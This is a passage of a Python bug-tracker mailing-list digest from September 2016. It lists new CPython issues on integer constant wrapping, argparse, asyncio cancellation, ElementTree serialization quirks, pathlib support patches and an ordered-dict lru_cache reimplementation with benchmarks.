Modules/socketmodule.c:    PyModule_AddIntMacro(m, CAN_EFF_FLAG);


  Definition in cross compiler include:

altendky at tp:/opt/freescale/usr/local/gcc-4.6.2-glibc-2.13-linaro-multilib-2011.12/fsl-linaro-toolchain/arm-fsl-linux-gnueabi/multi-libs/default/usr/include$ grep -r CAN_EFF_FLAG
linux/can.h:#define CAN_EFF_FLAG 0x80000000U /* EFF/SFF is set in the MSB */


  For reference, here it is on the host system (looks the same to me):

altendky at tp:/usr/include$ grep -r CAN_EFF_FLAG
linux/can.h:#define CAN_EFF_FLAG 0x80000000U /* EFF/SFF is set in the MSB */


  But perhaps this `long` type for the value is the issue?  If signed and only 4-bytes as is the case on my target then this will misinterpret the 0x80000000U literal resulting in the above observed -2147483648.

PyModule_AddIntConstant(PyObject *m, const char *name, long value)

  On my target system, printf("%d", sizeof(long)) yields 4.

  For now I just work around it in my application by reassigning it to be it's absolute value.

socket.CAN_EFF_FLAG = abs(socket.CAN_EFF_FLAG)

----------
messages: 277036
nosy: altendky
priority: normal
severity: normal
status: open
title: PyModule_AddIntConstant() wraps >=2^32 values when long is 4 bytes
type: behavior
versions: Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28215>
_______________________________________

From report at bugs.python.org  Tue Sep 20 13:06:40 2016
From: report at bugs.python.org (Xiang Zhang)
Date: Tue, 20 Sep 2016 17:06:40 +0000
Subject: [New-bugs-announce] [issue28216] micro optimization for
 import_all_from
Message-ID: <1474391200.85.0.926486435821.issue28216@psf.upfronthosting.co.za>


New submission from Xiang Zhang:

Since PyMapping_Keys always return a list or tuple and most __all__s are list (all in stdlib), I think we can avoid calling PySequence_GetItem for every key and use PySequence_Fast* APIs instead. This doesn't help much since other operations involved are expensive.

With patch:

[bin]$ ./python3 -m perf timeit -s 'import _ast; code=compile("from _ast import *", "<string>", "exec")' 'exec(code)'
....................
Median +- std dev: 11.3 us +- 0.3 us
[bin]$ ./python3 -m perf timeit -s 'import zipfile; code=compile("from zipfile import *", "<string>", "exec")' 'exec(code)'
....................
Median +- std dev: 2.98 us +- 0.04 us

Without patch:

[bin]$ ./python3 -m perf timeit -s 'import _ast; code=compile("from _ast import *", "<string>", "exec")' 'exec(code)'
....................
Median +- std dev: 12.5 us +- 0.3 us
./python3 -m perf timeit -s 'import zipfile; code=compile("from zipfile import *", "<string>", "exec")' 'exec(code)'
....................
Median +- std dev: 3.09 us +- 0.06 us

----------
components: Interpreter Core
files: import_all_from.patch
keywords: patch
messages: 277046
nosy: brett.cannon, haypo, serhiy.storchaka, xiang.zhang
priority: normal
severity: normal
stage: patch review
status: open
title: micro optimization for import_all_from
type: enhancement
versions: Python 3.7
Added file: http://bugs.python.org/file44758/import_all_from.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28216>
_______________________________________

From report at bugs.python.org  Tue Sep 20 13:44:27 2016
From: report at bugs.python.org (Steve Dower)
Date: Tue, 20 Sep 2016 17:44:27 +0000
Subject: [New-bugs-announce] [issue28217] Add interactive console tests
Message-ID: <1474393467.21.0.584094770072.issue28217@psf.upfronthosting.co.za>


New submission from Steve Dower:

We can test the interactive console by opening new console buffers (CONIN$ and CONOUT$) in the test process, then creating a subprocess with those set as the standard handles. Now we can use WriteConsoleInput from the test process to simulate the user typing at the console.

This would be useful for verifying that Unicode support works properly and that the interactive mode behaves correctly.

----------
components: Tests, Windows
messages: 277049
nosy: paul.moore, steve.dower, tim.golden, zach.ware
priority: normal
severity: normal
stage: test needed
status: open
title: Add interactive console tests
type: enhancement
versions: Python 3.6, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28217>
_______________________________________

From report at bugs.python.org  Tue Sep 20 15:16:30 2016
From: report at bugs.python.org (Steve Dower)
Date: Tue, 20 Sep 2016 19:16:30 +0000
Subject: [New-bugs-announce] [issue28218] Windows docs have wrong
 versionadded description
Message-ID: <1474398990.63.0.365606610979.issue28218@psf.upfronthosting.co.za>


New submission from Steve Dower:

At https://docs.python.org/3.6/using/windows.html#finding-modules the versionadded description needs the reference to `sys.path file` removed.

----------
assignee: steve.dower
messages: 277058
nosy: steve.dower
priority: normal
severity: normal
stage: needs patch
status: open
title: Windows docs have wrong versionadded description
versions: Python 3.6, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28218>
_______________________________________

From report at bugs.python.org  Tue Sep 20 15:53:07 2016
From: report at bugs.python.org (Barry A. Warsaw)
Date: Tue, 20 Sep 2016 19:53:07 +0000
Subject: [New-bugs-announce] [issue28219] Is order of argparse --help output
 officially defined?
Message-ID: <1474401187.0.0.781761805381.issue28219@psf.upfronthosting.co.za>


New submission from Barry A. Warsaw:

Sometimes we want to control the order of arguments printed by an argparse defined cli.  In practice, arguments are printed in the order in which they are added via add_argument(), but I don't think this is documented and thus should be considered an implementation detail.  It should be possible to enforce an order by the use of a formatter_class, but you'd probably need some extra metadata on arguments to do this, so it's not completely obvious how to write such a formatter class.

Instead, I propose to document and officially support that the order of add_argument() calls defines the order in which arguments are printed via --help.

----------
assignee: docs at python
components: Documentation
messages: 277060
nosy: barry, docs at python
priority: normal
severity: normal
status: open
title: Is order of argparse --help output officially defined?
versions: Python 3.5, Python 3.6, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28219>
_______________________________________

From report at bugs.python.org  Tue Sep 20 16:59:59 2016
From: report at bugs.python.org (Barry A. Warsaw)
Date: Tue, 20 Sep 2016 20:59:59 +0000
Subject: [New-bugs-announce] [issue28220] argparse's
 add_mutually_exclusive_group() should accept title and description
Message-ID: <1474405199.01.0.465509381735.issue28220@psf.upfronthosting.co.za>


New submission from Barry A. Warsaw:

I'd love to sneak this into 3.6, but I can accept being too late.  In any case, _MutuallyExclusiveGroup.__init__() should accept title and description arguments and pass them to the super class.  Otherwise, you can't great a mutually exclusive group that also essentially acts as an argument group.

----------
components: Library (Lib)
messages: 277067
nosy: barry
priority: normal
severity: normal
status: open
title: argparse's add_mutually_exclusive_group() should accept title and description
versions: Python 3.6, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28220>
_______________________________________

From report at bugs.python.org  Tue Sep 20 21:35:05 2016
From: report at bugs.python.org (Martin Panter)
Date: Wed, 21 Sep 2016 01:35:05 +0000
Subject: [New-bugs-announce] [issue28221] Unused indata in
 test_ssl.ThreadedTests.test_asyncore_server
Message-ID: <1474421705.12.0.343818942397.issue28221@psf.upfronthosting.co.za>


New submission from Martin Panter:

In r62273 (Apr 2008), method testAsyncoreServer() was added to the py3k branch with indata="FOO\n". In r64578 (Jun 2008), this test method was added to the Py 2 branch, but with indata = "TEST MESSAGE of mixed case\n". Later, r80598 added the mixed case line to the Py 3 branch, but it is not used because the original FOO line overwrites it. Then revision 221a1f9155e2 backported the Py 3 code to 2.7. So now both versions include the mixed case line but neither use it.

I haven?t investigated, but I presume either the mixed case version would test more stuff and should be enabled, or it would be overkill and should be dropped in favour of the simpler line.

----------
assignee: christian.heimes
components: SSL, Tests
messages: 277085
nosy: christian.heimes, martin.panter
priority: normal
severity: normal
status: open
title: Unused indata in test_ssl.ThreadedTests.test_asyncore_server
type: enhancement
versions: Python 2.7, Python 3.5, Python 3.6, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28221>
_______________________________________

From report at bugs.python.org  Wed Sep 21 00:27:32 2016
From: report at bugs.python.org (Xiang Zhang)
Date: Wed, 21 Sep 2016 04:27:32 +0000
Subject: [New-bugs-announce] [issue28222] test_distutils fails
Message-ID: <1474432052.98.0.601076913744.issue28222@psf.upfronthosting.co.za>


New submission from Xiang Zhang:

test_distutils consistently fails now:

./python -m test test_distutils
Run tests sequentially
0:00:00 [1/1] test_distutils
test test_distutils failed -- Traceback (most recent call last):
  File "/home/angwer/cpython/Lib/distutils/tests/test_check.py", line 122, in test_check_restructuredtext_with_syntax_highlight
    self.assertEqual(cmd._warnings, 0)
AssertionError: 1 != 0

test_distutils failed

1 test failed:
    test_distutils

Total duration: 1 sec
Tests result: FAILURE

----------
components: Tests
messages: 277091
nosy: xiang.zhang
priority: normal
severity: normal
status: open
title: test_distutils fails
type: behavior
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28222>
_______________________________________

From report at bugs.python.org  Wed Sep 21 03:03:08 2016
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 21 Sep 2016 07:03:08 +0000
Subject: [New-bugs-announce] [issue28223] test_tools fails with timeout on
 AMD64 Snow Leop 3.x buildbot
Message-ID: <1474441388.78.0.411592043263.issue28223@psf.upfronthosting.co.za>


New submission from STINNER Victor:

I recently changed the buildbot timeout from 900 seconds (15 min) to 1200 seconds  (20 min) in Makefile.pre.in in the default branch, but it seems like some buildbots override the timeout.

For example, AMD64 Snow Leop 3.x uses TESTTIMEOUT=900 whereas test_tools fails with a timeout on this buildbot :-)

If the timeout is overriden, I suggest to use a timeout of at least 30 min on slow buildbots.

----------
components: Tests
messages: 277100
nosy: haypo, zach.ware
priority: normal
severity: normal
status: open
title: test_tools fails with timeout on AMD64 Snow Leop 3.x buildbot
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28223>
_______________________________________

From report at bugs.python.org  Wed Sep 21 03:21:09 2016
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 21 Sep 2016 07:21:09 +0000
Subject: [New-bugs-announce] [issue28224] Compilation warnings on Windows:
 export 'PyInit_xx' specified multiple times
Message-ID: <1474442469.56.0.286518199442.issue28224@psf.upfronthosting.co.za>


New submission from STINNER Victor:

I like when a compilation has no warning, because it helps to notice useful warnings and real bugs. The compilation of Python 3.5 on Windows emits the following warnings on buildbots:

xxmodule.obj : warning LNK4197: export 'PyInit_xx' specified multiple times; using first specification
xxmodule.obj : warning LNK4197: export 'PyInit_xx' specified multiple times; using first specification
xxmodule.obj : warning LNK4197: export 'PyInit_xx' specified multiple times; using first specification

http://buildbot.python.org/all/builders/AMD64%20Windows8%203.5/builds/1120/steps/test/logs/warnings%20%283%29

http://buildbot.python.org/all/builders/AMD64%20Windows8%203.x/builds/2634/steps/test/logs/warnings%20%283%29

----------
components: Build, Windows
messages: 277102
nosy: haypo, paul.moore, steve.dower, tim.golden, zach.ware
priority: normal
severity: normal
status: open
title: Compilation warnings on Windows: export 'PyInit_xx' specified multiple times
versions: Python 3.5, Python 3.6, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28224>
_______________________________________

From report at bugs.python.org  Wed Sep 21 03:27:45 2016
From: report at bugs.python.org (Ethan Furman)
Date: Wed, 21 Sep 2016 07:27:45 +0000
Subject: [New-bugs-announce] [issue28225] bz2 does not support pathlib
Message-ID: <1474442865.75.0.758864883858.issue28225@psf.upfronthosting.co.za>


Changes by Ethan Furman <ethan at stoneleaf.us>:


----------
files: open-bz2.stoneleaf.patch
keywords: patch
nosy: brett.cannon, ethan.furman
priority: normal
severity: normal
stage: patch review
status: open
title: bz2 does not support pathlib
type: behavior
versions: Python 3.6
Added file: http://bugs.python.org/file44767/open-bz2.stoneleaf.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28225>
_______________________________________

From report at bugs.python.org  Wed Sep 21 03:28:34 2016
From: report at bugs.python.org (Ethan Furman)
Date: Wed, 21 Sep 2016 07:28:34 +0000
Subject: [New-bugs-announce] [issue28226] compileall does not support pathlib
Message-ID: <1474442914.07.0.985272974291.issue28226@psf.upfronthosting.co.za>


Changes by Ethan Furman <ethan at stoneleaf.us>:


----------
files: open-compileall.stoneleaf.patch
keywords: patch
nosy: brett.cannon, ethan.furman
priority: normal
severity: normal
stage: patch review
status: open
title: compileall does not support pathlib
type: behavior
versions: Python 3.6
Added file: http://bugs.python.org/file44768/open-compileall.stoneleaf.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28226>
_______________________________________

From report at bugs.python.org  Wed Sep 21 03:29:26 2016
From: report at bugs.python.org (Ethan Furman)
Date: Wed, 21 Sep 2016 07:29:26 +0000
Subject: [New-bugs-announce] [issue28227] gzip does not support pathlib
Message-ID: <1474442966.86.0.466771023725.issue28227@psf.upfronthosting.co.za>


Changes by Ethan Furman <ethan at stoneleaf.us>:


----------
files: open-gzip.stoneleaf.patch
keywords: patch
nosy: brett.cannon, ethan.furman
priority: normal
severity: normal
stage: patch review
status: open
title: gzip does not support pathlib
type: behavior
Added file: http://bugs.python.org/file44769/open-gzip.stoneleaf.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28227>
_______________________________________

From report at bugs.python.org  Wed Sep 21 03:30:06 2016
From: report at bugs.python.org (Ethan Furman)
Date: Wed, 21 Sep 2016 07:30:06 +0000
Subject: [New-bugs-announce] [issue28228] imghdr does not support pathlib
Message-ID: <1474443006.76.0.93773444461.issue28228@psf.upfronthosting.co.za>


Changes by Ethan Furman <ethan at stoneleaf.us>:


----------
files: open-imghdr.stoneleaf.patch
keywords: patch
nosy: brett.cannon, ethan.furman
priority: normal
severity: normal
stage: patch review
status: open
title: imghdr does not support pathlib
type: behavior
versions: Python 3.6
Added file: http://bugs.python.org/file44770/open-imghdr.stoneleaf.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28228>
_______________________________________

From report at bugs.python.org  Wed Sep 21 03:30:51 2016
From: report at bugs.python.org (Ethan Furman)
Date: Wed, 21 Sep 2016 07:30:51 +0000
Subject: [New-bugs-announce] [issue28229] lzma does not support pathlib
Message-ID: <1474443051.1.0.685282846289.issue28229@psf.upfronthosting.co.za>


Changes by Ethan Furman <ethan at stoneleaf.us>:


----------
files: open-lzma.stoneleaf.patch
keywords: patch
nosy: brett.cannon, ethan.furman
priority: normal
severity: normal
stage: patch review
status: open
title: lzma does not support pathlib
type: behavior
versions: Python 3.6
Added file: http://bugs.python.org/file44771/open-lzma.stoneleaf.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28229>
_______________________________________

From report at bugs.python.org  Wed Sep 21 03:31:34 2016
From: report at bugs.python.org (Ethan Furman)
Date: Wed, 21 Sep 2016 07:31:34 +0000
Subject: [New-bugs-announce] [issue28230] tarfile does not support pathlib
Message-ID: <1474443094.28.0.886211310116.issue28230@psf.upfronthosting.co.za>


Changes by Ethan Furman <ethan at stoneleaf.us>:


----------
files: open-tarfile.stoneleaf.patch
keywords: patch
nosy: brett.cannon, ethan.furman
priority: normal
severity: normal
stage: patch review
status: open
title: tarfile does not support pathlib
type: behavior
versions: Python 3.6
Added file: http://bugs.python.org/file44772/open-tarfile.stoneleaf.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28230>
_______________________________________

From report at bugs.python.org  Wed Sep 21 03:32:17 2016
From: report at bugs.python.org (Ethan Furman)
Date: Wed, 21 Sep 2016 07:32:17 +0000
Subject: [New-bugs-announce] [issue28231] zipfile does not support pathlib
Message-ID: <1474443137.0.0.514583317008.issue28231@psf.upfronthosting.co.za>


Changes by Ethan Furman <ethan at stoneleaf.us>:


----------
files: open-zipfile.stoneleaf.patch
keywords: patch
nosy: brett.cannon, ethan.furman
priority: normal
severity: normal
stage: patch review
status: open
title: zipfile does not support pathlib
type: behavior
versions: Python 3.6
Added file: http://bugs.python.org/file44773/open-zipfile.stoneleaf.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28231>
_______________________________________

From report at bugs.python.org  Wed Sep 21 03:50:41 2016
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 21 Sep 2016 07:50:41 +0000
Subject: [New-bugs-announce] [issue28232] asyncio: wrap_future() doesn't
 handle cancellation correctly
Message-ID: <1474444241.28.0.930866863134.issue28232@psf.upfronthosting.co.za>


New submission from STINNER Victor:

I noticed the following warning in test_asyncio (see above). It understand that when the asyncio Future ("destination" in _chain_future) is cancelled, _call_check_cancel() calls source_loop.call_soon_threadsafe(source.cancel) where source is a concurrent.futures.Future object.

Then futures.Future.cancel() calls self._invoke_callbacks() which calls _call_set_state() of _chain_future(). _call_set_state() calls dest_loop.call_soon_threadsafe(_set_state, destination, source) but at this point, the event loop is closed. Morever, destination (the asyncio future) is already cancelled, but it doesn't make sense to try to copy the state: source and destination are already cancelled.

I suggest to modify _call_set_state() to do nothing if destination is already cancelled:

    def _call_set_state(source):
        if destination.cancelled():
            return
        (...)

*But* I see that futures.Future has a set_running_or_notify_cancel() method which seems to be important to call. Maybe we should call it in this case?

    def _call_set_state(source):
        if destination.cancelled():
            source.set_running_or_notify_cancel()
            return
        (...)

--

The warning:


http://buildbot.python.org/all/builders/AMD64%20Windows8%203.6/builds/43/steps/test/logs/stdio

test_sock_sendall (test.test_asyncio.test_selector_events.BaseSelectorEventLoopTests) ... exception calling callback for <Future at 0xec840d1e28 state=finished returned NoneType>
Traceback (most recent call last):
  File "D:\buildarea\3.6.bolen-windows8\build\lib\concurrent\futures\_base.py", line 297, in _invoke_callbacks
    callback(self)
  File "D:\buildarea\3.6.bolen-windows8\build\lib\asyncio\futures.py", line 462, in _call_set_state
    dest_loop.call_soon_threadsafe(_set_state, destination, source)
  File "D:\buildarea\3.6.bolen-windows8\build\lib\asyncio\base_events.py", line 603, in call_soon_threadsafe
    handle = self._call_soon(callback, args)
  File "D:\buildarea\3.6.bolen-windows8\build\lib\asyncio\base_events.py", line 577, in _call_soon
    self._check_closed()
  File "D:\buildarea\3.6.bolen-windows8\build\lib\asyncio\base_events.py", line 356, in _check_closed
    raise RuntimeError('Event loop is closed')
RuntimeError: Event loop is closed
ok

----------
components: asyncio
messages: 277107
nosy: gvanrossum, haypo, yselivanov
priority: normal
severity: normal
status: open
title: asyncio: wrap_future() doesn't handle cancellation correctly
versions: Python 3.5, Python 3.6, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28232>
_______________________________________

From report at bugs.python.org  Wed Sep 21 05:54:58 2016
From: report at bugs.python.org (Christian Heimes)
Date: Wed, 21 Sep 2016 09:54:58 +0000
Subject: [New-bugs-announce] [issue28233] PyUnicode_FromFormatV can leak
 PyUnicodeWriter
Message-ID: <1474451698.31.0.974245540341.issue28233@psf.upfronthosting.co.za>


New submission from Christian Heimes:

PyUnicode_FromFormatV() does not call _PyUnicodeWriter_Finish() in p > 127 case and therefore leaks a PyUnicodeWriter instance.

----------
components: Interpreter Core
messages: 277118
nosy: christian.heimes
priority: normal
severity: normal
status: open
title: PyUnicode_FromFormatV can leak PyUnicodeWriter
type: resource usage
versions: Python 3.5, Python 3.6, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28233>
_______________________________________

From report at bugs.python.org  Wed Sep 21 06:27:48 2016
From: report at bugs.python.org (py.user)
Date: Wed, 21 Sep 2016 10:27:48 +0000
Subject: [New-bugs-announce] [issue28234] In xml.etree.ElementTree docs
 there are many absent Element class links
Message-ID: <1474453668.8.0.0192177985612.issue28234@psf.upfronthosting.co.za>


New submission from py.user:

https://docs.python.org/3/library/xml.etree.elementtree.html#reference

1. Comment
2. iselement()
3. ProcessingInstruction
4. SubElement
5. Element.find()
6. ElementTree._setroot()
7. TreeBuilder

Applied a patch to the issue that adds Element class links.

----------
assignee: docs at python
components: Documentation, Library (Lib), XML
files: element-link.diff
keywords: patch
messages: 277121
nosy: docs at python, py.user
priority: normal
severity: normal
status: open
title: In xml.etree.ElementTree docs there are many absent Element class links
type: behavior
versions: Python 3.6
Added file: http://bugs.python.org/file44775/element-link.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28234>
_______________________________________

From report at bugs.python.org  Wed Sep 21 07:24:16 2016
From: report at bugs.python.org (py.user)
Date: Wed, 21 Sep 2016 11:24:16 +0000
Subject: [New-bugs-announce] [issue28235] In xml.etree.ElementTree docs
 there is no parser argument in fromstring()
Message-ID: <1474457056.95.0.329737294315.issue28235@psf.upfronthosting.co.za>


New submission from py.user:

https://docs.python.org/3/library/xml.etree.elementtree.html#xml.etree.ElementTree.fromstring

The function has argument parser that works like in XML() function, but in the description there is no info about it (copied from XML() description).

Applied a patch to the issue that adds argument to the signature and describes it.

----------
assignee: docs at python
components: Documentation, Library (Lib), XML
files: fromstring-parser.diff
keywords: patch
messages: 277124
nosy: docs at python, py.user
priority: normal
severity: normal
status: open
title: In xml.etree.ElementTree docs there is no parser argument in fromstring()
type: behavior
versions: Python 3.6
Added file: http://bugs.python.org/file44776/fromstring-parser.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28235>
_______________________________________

From report at bugs.python.org  Wed Sep 21 07:52:15 2016
From: report at bugs.python.org (py.user)
Date: Wed, 21 Sep 2016 11:52:15 +0000
Subject: [New-bugs-announce] [issue28236] In xml.etree.ElementTree Element
 can be created with empty and None tag
Message-ID: <1474458735.99.0.896501689259.issue28236@psf.upfronthosting.co.za>


New submission from py.user:

It is possible to create and serialize an Element instance with empty string tag value:

>>> import xml.etree.ElementTree as etree
>>>
>>> root = etree.Element('')
>>> elem = etree.SubElement(root, '')
>>>
>>> root
<Element '' at 0xb744e34c>
>>> elem
<Element '' at 0xb744e374>
>>>
>>> etree.tostring(root)
b'<>< /></>'
>>> etree.dump(root)
<>< /></>
>>>


It is possible to create and serialize an Element instance with None tag value:

>>> import xml.etree.ElementTree as etree
>>>
>>> root = etree.Element(None)
>>> elem = etree.SubElement(root, None)
>>>
>>> root
<Element None at 0xb7468c34>
>>> root[0]
<Element None at 0xb746334c>
>>> len(root)
1
>>> etree.tostring(root)
b''
>>> etree.dump(root)

>>>


And same try with site package lxml raises an exception both for empty string and for None:

>>> import lxml.etree
>>>
>>> lxml.etree.Element('')
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "lxml.etree.pyx", line 2809, in lxml.etree.Element (src/lxml/lxml.etree.c:61393)
  File "apihelpers.pxi", line 87, in lxml.etree._makeElement (src/lxml/lxml.etree.c:13390)
  File "apihelpers.pxi", line 1446, in lxml.etree._getNsTag (src/lxml/lxml.etree.c:25978)
  File "apihelpers.pxi", line 1481, in lxml.etree.__getNsTag (src/lxml/lxml.etree.c:26304)
ValueError: Empty tag name
>>>
>>> lxml.etree.Element(None)
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "lxml.etree.pyx", line 2809, in lxml.etree.Element (src/lxml/lxml.etree.c:61393)
  File "apihelpers.pxi", line 87, in lxml.etree._makeElement (src/lxml/lxml.etree.c:13390)
  File "apihelpers.pxi", line 1446, in lxml.etree._getNsTag (src/lxml/lxml.etree.c:25978)
  File "apihelpers.pxi", line 1464, in lxml.etree.__getNsTag (src/lxml/lxml.etree.c:26114)
  File "apihelpers.pxi", line 1342, in lxml.etree._utf8 (src/lxml/lxml.etree.c:24770)
TypeError: Argument must be bytes or unicode, got 'NoneType'
>>>

----------
components: Library (Lib), XML
messages: 277125
nosy: py.user
priority: normal
severity: normal
status: open
title: In xml.etree.ElementTree Element can be created with empty and None tag
type: behavior
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28236>
_______________________________________

From report at bugs.python.org  Wed Sep 21 08:19:15 2016
From: report at bugs.python.org (py.user)
Date: Wed, 21 Sep 2016 12:19:15 +0000
Subject: [New-bugs-announce] [issue28237] In xml.etree.ElementTree bytes tag
 or attributes raises on serialization
Message-ID: <1474460355.16.0.102193673343.issue28237@psf.upfronthosting.co.za>


New submission from py.user:

https://docs.python.org/3/library/xml.etree.elementtree.html#xml.etree.ElementTree.Element
"The element name, attribute names, and attribute values can be either bytestrings or Unicode strings."


The element name, attribute names, and attribute values can have bytes type, but they can't be serialized:

>>> import xml.etree.ElementTree as etree
>>>
>>> root = etree.Element(b'x')
>>> root
<Element b'x' at 0xb739934c>
>>>
>>> elem = etree.SubElement(root, b'y', {b'a': b'b'})
>>> elem
<Element b'y' at 0xb7399374>
>>> elem.attrib
{b'a': b'b'}
>>>
>>> etree.dump(root)
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "/usr/lib/python3.3/xml/etree/ElementTree.py", line 1224, in dump
    elem.write(sys.stdout, encoding="unicode")
  File "/usr/lib/python3.3/xml/etree/ElementTree.py", line 826, in write
    qnames, namespaces = _namespaces(self._root, default_namespace)
  File "/usr/lib/python3.3/xml/etree/ElementTree.py", line 937, in _namespaces
    _raise_serialization_error(tag)
  File "/usr/lib/python3.3/xml/etree/ElementTree.py", line 1105, in _raise_serialization_error
    "cannot serialize %r (type %s)" % (text, type(text).__name__)
TypeError: cannot serialize b'x' (type bytes)
>>>
>>> etree.tostring(root)
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "/usr/lib/python3.3/xml/etree/ElementTree.py", line 1171, in tostring
    ElementTree(element).write(stream, encoding, method=method)
  File "/usr/lib/python3.3/xml/etree/ElementTree.py", line 826, in write
    qnames, namespaces = _namespaces(self._root, default_namespace)
  File "/usr/lib/python3.3/xml/etree/ElementTree.py", line 937, in _namespaces
    _raise_serialization_error(tag)
  File "/usr/lib/python3.3/xml/etree/ElementTree.py", line 1105, in _raise_serialization_error
    "cannot serialize %r (type %s)" % (text, type(text).__name__)
TypeError: cannot serialize b'x' (type bytes)
>>>


Also attribute name can be serialized, but it holds the letter "b" and single quotes:

>>> import xml.etree.ElementTree as etree
>>> 
>>> e = etree.Element('a', {b'x': '1'})
>>> etree.tostring(e)
b'<a b\'x\'="1" />'
>>>


And same try with site package lxml works fine for all cases because it converts bytes to unicode strings right away:

>>> import lxml.etree
>>>
>>> root = lxml.etree.Element(b'x')
>>> root
<Element x at 0xb6ff00cc>
>>>
>>> elem = lxml.etree.SubElement(root, b'y', {b'a': b'b'})
>>> elem
<Element y at 0xb73a834c>
>>>
>>> elem.attrib
{'a': 'b'}
>>>

----------
components: Library (Lib), XML
messages: 277128
nosy: py.user
priority: normal
severity: normal
status: open
title: In xml.etree.ElementTree bytes tag or attributes raises on serialization
type: behavior
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28237>
_______________________________________

From report at bugs.python.org  Wed Sep 21 08:38:12 2016
From: report at bugs.python.org (py.user)
Date: Wed, 21 Sep 2016 12:38:12 +0000
Subject: [New-bugs-announce] [issue28238] In xml.etree.ElementTree findall()
 can't search all elements in a namespace
Message-ID: <1474461492.99.0.941056742104.issue28238@psf.upfronthosting.co.za>


New submission from py.user:

In the example there are two namespaces in one document, but it is impossible to search all elements only in one namespace:

>>> import xml.etree.ElementTree as etree
>>>
>>> s = '<feed xmlns="http://def" xmlns:x="http://x"><a/><x:b/></feed>'
>>>
>>> root = etree.fromstring(s)
>>>
>>> root.findall('*')
[<Element '{http://def}a' at 0xb73961bc>, <Element '{http://x}b' at 0xb7396c34>]
>>>
>>> root.findall('{http://def}*')
[]
>>>


And same try with site package lxml works fine:

>>> import lxml.etree as etree
>>>
>>> s = '<feed xmlns="http://def" xmlns:x="http://x"><a/><x:b/></feed>'
>>>
>>> root = etree.fromstring(s)
>>>
>>> root.findall('*')
[<Element {http://def}a at 0xb70ab11c>, <Element {http://x}b at 0xb70ab144>]
>>>
>>> root.findall('{http://def}*')
[<Element {http://def}a at 0xb70ab11c>]
>>>

----------
components: Library (Lib), XML
messages: 277130
nosy: py.user
priority: normal
severity: normal
status: open
title: In xml.etree.ElementTree findall() can't search all elements in a namespace
type: behavior
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28238>
_______________________________________

From report at bugs.python.org  Wed Sep 21 09:52:11 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Wed, 21 Sep 2016 13:52:11 +0000
Subject: [New-bugs-announce] [issue28239] Implement functools.lru_cache()
 using ordered dict
Message-ID: <1474465931.98.0.374027560088.issue28239@psf.upfronthosting.co.za>


New submission from Serhiy Storchaka:

Since dict became ordered, this feature can be used in functools.lru_cache() implementation instead of linked list. This significantly simplifies the code.

The first implementation just uses _PyDict_GetItem_KnownHash() + _PyDict_DelItem_KnownHash() + _PyDict_SetItem_KnownHash() for moving existent key-value pair to the end of the dict.

The second implementation adds replaces the first two calls with one call of newly added _PyDict_PopItem_KnownHash() (this is just simplified copy of _PyDict_PopItem()).

The third implementation merges all three operations in one function _PyDict_MoveToEnd_KnownHash() that returns moved value if it exists, NULL without an exception set if there is no such key in a dict, and NULL with an exception set in case of error. Maybe this implementation is can be more optimized.

Benchmarking hits:

$ ./python -m perf timeit -s "from functools import lru_cache; f = lru_cache(512)(lambda x: x); a = list(range(500))*100" -- "list(map(f, a))"

Unpatched:    Median +- std dev: 13.5 ms +- 0.8 ms
get-del-set:  Median +- std dev: 21.7 ms +- 0.8 ms
pop-set:      Median +- std dev: 17.0 ms +- 0.6 ms
move_to_end:  Median +- std dev: 13.7 ms +- 0.5 ms

Benchmarking misses:

$ ./python -m perf timeit -s "from functools import lru_cache; f = lru_cache(512)(lambda x: x); a = list(range(50000))" -- "list(map(f, a))

Unpatched:    Median +- std dev: 31.5 ms +- 1.8 ms
get-del-set:  Median +- std dev: 58.6 ms +- 1.0 ms
pop-set:      Median +- std dev: 59.7 ms +- 1.1 ms
move_to_end:  Median +- std dev: 99.0 ms +- 0.5 ms

The get-del-set implementation is simple and don't need adding new functions to PyDict API, but it is 60-90% slower the baseline linked-list-based implementation. The pop-set implementation is slightly faster for hits. The move_to_end implementation is as fast as the baseline implementation for hits, but is much slower in case of misses (I think it can be tuned).

----------
components: Extension Modules
files: lru_cache-get-del-set.patch
keywords: patch
messages: 277141
nosy: eric.snow, haypo, methane, rhettinger, serhiy.storchaka
priority: low
severity: normal
status: open
